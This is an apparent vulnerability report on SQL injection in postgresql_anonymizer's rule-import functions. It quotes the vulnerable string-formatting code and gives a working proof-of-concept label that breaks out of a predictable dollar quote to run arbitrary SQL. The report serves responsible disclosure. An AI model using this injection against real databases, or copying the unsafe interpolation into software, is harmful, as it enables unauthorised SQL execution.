SQL injection in anon.import_*_rules()
Affected: postgresql_anonymizer 3.2.0-dev current checkout Tested on: PostgreSQL 18.4, Docker runtime built from current source Functions: - anon.import_roles_rules(jsonb, text) - anon.import_database_rules(jsonb, text) Rule import builds SECURITY LABEL statements by interpolating untrusted label strings into a dollar- quoted SQL literal. In release builds the delimiter is stable: $label_test$. ``` format!( "SECURITY LABEL FOR {} ON {} {} IS $label_{}$ {} $label_{}$;", profile, kind.to_string().to_uppercase(), name, random, label, random, ) ``` Because label is inserted raw, an imported rule can close the dollar quote and append arbitrary SQL: ``` CREATE ROLE mdi_runtime_role; SELECT anon.import_roles_rules( jsonb_build_object( 'mdi_runtime_role', 'MASKED $label_test$; CREATE TABLE public.mdi_runtime_sqli_marker(proof int); INSERT INTO public.mdi_runtime_sqli_marker VALUES (1337); --' ), 'anon' ); ``` SELECT proof FROM public.mdi_runtime_sqli_marker; -- returns: 1337 Impact Arbitrary SQL executed as the caller of anon.import_roles_rules() or anon.import_database_rules(). Runtime testing showed these functions are SECURITY INVOKER, so this is not an automatic low- privilege to superuser escalation: injected CREATE ROLE ... SUPERUSER fails for an unprivileged caller. However, this becomes privileged SQL execution if attacker-controlled JSON is imported by a superuser, extension owner, migration job, admin automation, or any other privileged session. Reporter: Mehmet Ince @mdisec
issue